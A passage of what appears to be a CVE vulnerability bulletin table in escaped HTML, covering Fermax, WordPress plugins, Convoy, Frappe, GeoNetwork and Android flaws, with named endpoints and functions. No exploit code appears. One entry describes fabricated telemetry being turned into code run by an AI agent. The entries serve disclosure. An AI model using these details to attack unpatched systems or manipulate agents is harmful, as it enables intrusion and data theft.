&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fermax Electronica S.A.U.--DUOX PLUS monitor firmware (VEO Wi-Fi range)&lt;/td&gt;
&lt;td&gt;The lack of TLS certificate validation when downloading firmware updates in VEO and VEO-XS Wi-Fi monitors, in versions prior to 01.48.001, allows an attacker to perform man-in-the-middle attacks on the update channel.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86474&quot; target=&quot;_blank&quot;&gt;CVE-2026-86474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fermax Electronica S.A.U.--DUOX PLUS monitor firmware (VEO Wi-Fi range)&lt;/td&gt;
&lt;td&gt;The lack of signature verification of firmware update packages in VEO and VEO-XS Wi-Fi monitors, in versions prior to 01.48.001, allows an attacker who controls the delivery of an update to install unauthorised firmware.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86585&quot; target=&quot;_blank&quot;&gt;CVE-2026-86585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fermax Electronica S.A.U.--DuoxMe&lt;/td&gt;
&lt;td&gt;Transmission of the home Wi-Fi credentials without encryption during the pairing process between the DuoxMe application and VEO and VEO-XS Wi-Fi monitors, in versions prior to 4.3.4 of the application and 01.50.001 of the monitor firmware, allows an attacker on the Wi-Fi Direct network to intercept the network password.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85628&quot; target=&quot;_blank&quot;&gt;CVE-2026-85628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fermax Electronica S.A.U.--DuoxMe&lt;/td&gt;
&lt;td&gt;Cleartext storage of sensitive information in the DuoxMe application for Android, in versions prior to 4.3.4, allows an attacker with local access to the device to retrieve the credentials stored by the application and impersonate the user account.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86443&quot; target=&quot;_blank&quot;&gt;CVE-2026-86443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Filter Gallery--Filter Gallery&lt;/td&gt;
&lt;td&gt;The Filter Gallery WordPress plugin before 1.1.5 does not verify the nonce on several of its AJAX handlers when the nonce field is omitted, and applies no capability check, allowing low-privileged users to overwrite the content of arbitrary posts and delete the Filter Gallery WordPress plugin before 1.1.5&#039;s stored gallery options.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90978&quot; target=&quot;_blank&quot;&gt;CVE-2026-90978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluentBoards--FluentBoards&lt;/td&gt;
&lt;td&gt;The FluentBoards WordPress plugin before 2.0.15 does not properly verify authorization when returning the list of boards a user belongs to, allowing any authenticated user, including a Subscriber with no board access, to disclose the private board memberships of arbitrary users by referencing their user ID.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85349&quot; target=&quot;_blank&quot;&gt;CVE-2026-85349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluentBoards--FluentBoards&lt;/td&gt;
&lt;td&gt;The FluentBoards WordPress plugin before 2.0.15 does not verify that a board member submitting a comment is the user the comment is attributed to, allowing any board member to post comments that appear to be authored by another user, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89327&quot; target=&quot;_blank&quot;&gt;CVE-2026-89327&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluentBoards--FluentBoards&lt;/td&gt;
&lt;td&gt;The FluentBoards WordPress plugin before 2.0.15 does not properly verify that a user holds board-manager privileges before performing several board-management operations, checking only board membership. This allows any member of a board to carry out manager-only actions on it, including adding or removing members and enabling public access to a private board.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89328&quot; target=&quot;_blank&quot;&gt;CVE-2026-89328&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Formidable Forms--Formidable Forms&lt;/td&gt;
&lt;td&gt;The Formidable Forms WordPress plugin before 6.35 does not restrict who can set the identifier recording which user last edited a form entry, and relies on that identifier when deciding whether to strip HTML from stored entry values, allowing unauthenticated visitors to have markup rendered in the admin entry view that would otherwise be removed, and to attribute their submission to an administrator who never made it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85641&quot; target=&quot;_blank&quot;&gt;CVE-2026-85641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forminator Forms--Forminator Forms&lt;/td&gt;
&lt;td&gt;The Forminator Forms WordPress plugin before 1.57.2.1 does not restrict which classes may be instantiated when it deserialises a value taken from an XML-RPC request, allowing users who hold its forms-management permission to write a file of their choosing and execute arbitrary code. That permission belongs to an administrator by default, and to any role the site has granted it through the Forminator Forms WordPress plugin before 1.57.2.1&#039;s own settings, so the issue is reachable well below administrator on sites that use that feature.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87067&quot; target=&quot;_blank&quot;&gt;CVE-2026-87067&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forminator Forms--Forminator Forms&lt;/td&gt;
&lt;td&gt;The Forminator Forms WordPress plugin before 1.57.2.1 does not apply the role validation it enforces elsewhere when a registration form is nested inside an imported quiz, allowing a user who may import quizzes to publish a live, publicly reachable form that grants any role, including administrator, to anyone who submits it. The same user is refused an identical form through both the ordinary form editor and the ordinary form import.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87068&quot; target=&quot;_blank&quot;&gt;CVE-2026-87068&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;frain-dev--convoy&lt;/td&gt;
&lt;td&gt;Convoy is a cloud native webhooks gateway. Prior to 26.6.8, Convoy&#039;s GET /api/v1/projects/{projectID}/sources/{sourceID} endpoint authorizes access to the project in the URL, but Handler.GetSource calls sources.Service.FindSourceByID() and fetches the Source only by sourceID without confirming that its ProjectID matches the authorized project. An authenticated user or project-scoped API key holder can substitute another tenant&#039;s Source identifier and receive that Source&#039;s complete record, including unredacted AMQP, Kafka, SQS, or Google PubSub credentials. The list endpoint remains project-scoped; the single-item Source lookup is affected. This issue is fixed in version 26.6.8.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81505&quot; target=&quot;_blank&quot;&gt;CVE-2026-81505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;frappe--hrms&lt;/td&gt;
&lt;td&gt;Frappe HR is an open-source human resources management solution (HRMS). Prior to 16.7.0, an authenticated user with the HR User role can inject SQL through filters in the Salary Payments Based on Payment Mode report. In hrms/payroll/report/salary_payments_based_on_payment_mode/salary_payments_based_on_payment_mode.py, get_conditions constructs filter clauses from user-controlled values and get_data incorporates those clauses into a string-formatted SQL query, allowing extraction of arbitrary database data. This issue is fixed in 16.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54524&quot; target=&quot;_blank&quot;&gt;CVE-2026-54524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;frappe--lms&lt;/td&gt;
&lt;td&gt;Frappe Learning Management System (LMS) is a learning system that helps users structure their content. Prior to version 2.52.1, a remote attacker can request a traversal path handled by SCORMRenderer.render in lms/page_renderers.py. The renderer constructs and opens a server-side path without first confirming that its real path remains within public/scorm, allowing files outside the SCORM directory to be read when they are accessible to the server process. This issue is fixed in version 2.52.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54343&quot; target=&quot;_blank&quot;&gt;CVE-2026-54343&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;free5gc--free5gc&lt;/td&gt;
&lt;td&gt;free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47780&quot; target=&quot;_blank&quot;&gt;CVE-2026-47780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Functional Software, Inc.--Sentry Seer&lt;/td&gt;
&lt;td&gt;Sentry Seer is vulnerable to a multi-stage trust-boundary violation that allows unauthenticated attacker-controlled telemetry to become code that is executed by an agent in a privileged automation environment. An external attacker can submit fabricated Sentry events without having access to the victim&#039;s Sentry account, source repository, or infrastructure.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90999&quot; target=&quot;_blank&quot;&gt;CVE-2026-90999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Generate PDF using Contact Form 7--Generate PDF using Contact Form 7&lt;/td&gt;
&lt;td&gt;The Generate PDF using Contact Form 7 WordPress plugin before 4.2.2 does not restrict the destination of the image fetch its PDF renderer performs on submitted form content, allowing unauthenticated users to make the server request internal resources and read the response back through the generated PDF.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90984&quot; target=&quot;_blank&quot;&gt;CVE-2026-90984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;geonetwork--core-geonetwork&lt;/td&gt;
&lt;td&gt;GeoNetwork is a catalog application to manage spatially referenced resources. Prior to 4.2.17 and 4.4.12, POST /api/tools/ogc/sld accepted a caller-supplied WMS server URL and performed a server-side HTTP GET without destination validation. An anonymous attacker could make the GeoNetwork server send requests to internal hosts that are not publicly reachable. When the outbound response was XML, the endpoint could store and return the fetched body, making the request forgery non-blind and enabling internal data disclosure, authorization bypass, and network reconnaissance. This issue is fixed in versions 4.2.17 and 4.4.12.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55864&quot; target=&quot;_blank&quot;&gt;CVE-2026-55864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;givanz--Vvveb&lt;/td&gt;
&lt;td&gt;Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.5, the oEmbedProxy() handler in admin/controller/editor/editor.php accepts an attacker-controlled url parameter and passes it to getUrl(), while validateUrl() in system/functions.php checks only the hostname string and does not validate its resolved addresses. An authenticated admin-panel user with editor/* permission can invoke GET /admin/index.php?module=editor/editor&amp;amp;action=oEmbedProxy with a dotted hostname or normalized loopback form that resolves to a private, loopback, link-local, or reserved address, causing the server to issue an HTTP or HTTPS request and return the response body. Storefront users and anonymous visitors cannot invoke the endpoint, but no CSRF token is required because the action uses GET. This can disclose internal service responses or cloud instance metadata and associated credentials. This issue is fixed in version 1.0.8.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54507&quot; target=&quot;_blank&quot;&gt;CVE-2026-54507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GiveWP--GiveWP&lt;/td&gt;
&lt;td&gt;The GiveWP WordPress plugin before 4.16.8.1 does not consistently normalise a donor&#039;s e-mail address between the value it stores and the value it later uses to look that donor up, allowing unauthenticated users to be resolved as an arbitrary donor and to set the WordPress password of any user account linked to one, including an administrator&#039;s.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85530&quot; target=&quot;_blank&quot;&gt;CVE-2026-85530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go--github.com/neuvector/neuvector&lt;/td&gt;
&lt;td&gt;Authorised users of outside applications behind the same corporate identity provider (IdP), for example, a wiki, a ticketing system, an expenses tool, or anything they legitimately hold an account on can log into their system via SAML SSO. The IdP issues an assertion to them. If that assertion is presented to NeuVector, NeuVector accepts it because the only thing distinguishing &quot;an assertion for NeuVector&quot; from &quot;an assertion for the wiki&quot; is the element, and the `NotInAudience` warning that reports the mismatch is never read.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78425&quot; target=&quot;_blank&quot;&gt;CVE-2026-78425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google Cloud--Gemini Enterprise Agent Platform SDK for Python&lt;/td&gt;
&lt;td&gt;Bucket Squatting in Google Cloud Gemini Enterprise Agent Platform SDK for Python versions prior to 1.166.1 allows an attacker to achieve Remote Code Execution (RCE) and tenant-project token theft.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19407&quot; target=&quot;_blank&quot;&gt;CVE-2026-19407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Cellular Modem, there is a possible out-of-bounds write due to a missing bounds check. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0159&quot; target=&quot;_blank&quot;&gt;CVE-2026-0159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Vp9DecodeFrameTag of vp9hwd_headers.cc, there is a possible out-of-bounds write due to a missing bounds check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0170&quot; target=&quot;_blank&quot;&gt;CVE-2026-0170&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible out-of-bounds write due to a logic error in the code. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0171&quot; target=&quot;_blank&quot;&gt;CVE-2026-0171&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In do_sss_aes_gcm_256_op of crypto-aes.c, there is a possible out-of-bounds read due to a missing bounds check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0177&quot; target=&quot;_blank&quot;&gt;CVE-2026-0177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Bootloader, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0179&quot; target=&quot;_blank&quot;&gt;CVE-2026-0179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In CPM, there is a possible information disclosure due to a confused deputy. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0183&quot; target=&quot;_blank&quot;&gt;CVE-2026-0183&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In ac_init_one_sswrp of init.c, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0186&quot; target=&quot;_blank&quot;&gt;CVE-2026-0186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In gsa_sw_pk_hash_compare of image-auth-srv.c, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0187&quot; target=&quot;_blank&quot;&gt;CVE-2026-0187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In ac_init_policy of init.c, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0189&quot; target=&quot;_blank&quot;&gt;CVE-2026-0189&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Bootloader, there is a possible escalation of privilege due to a missing permission check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0192&quot; target=&quot;_blank&quot;&gt;CVE-2026-0192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible permission bypass due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0194&quot; target=&quot;_blank&quot;&gt;CVE-2026-0194&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In VPU, there is a possible information dislclosure due to a logic error in the code. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0197&quot; target=&quot;_blank&quot;&gt;CVE-2026-0197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In gf_ta_test_set_config of gf_ta_test.c, there is a possible out-of-bounds write due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0199&quot; target=&quot;_blank&quot;&gt;CVE-2026-0199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Cellular Modem, there is a possible out-of-bounds write due to a heap buffer overflow. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0200&quot; target=&quot;_blank&quot;&gt;CVE-2026-0200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Wave6VpuDecFlush of wave6.c, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55301&quot; target=&quot;_blank&quot;&gt;CVE-2026-55301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55302&quot; target=&quot;_blank&quot;&gt;CVE-2026-55302&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In addr_remap_address_map of remap.c, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55304&quot; target=&quot;_blank&quot;&gt;CVE-2026-55304&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Cellular Modem, there is a possible denial of service due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55306&quot; target=&quot;_blank&quot;&gt;CVE-2026-55306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In printf of printf.c, there is a possible out-of-bounds write due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55317&quot; target=&quot;_blank&quot;&gt;CVE-2026-55317&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible use-after-free due to a race condition. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55318&quot; target=&quot;_blank&quot;&gt;CVE-2026-55318&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In gf_base_update_finger_base of gf_base.c, there is a possible out-of-bounds write due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
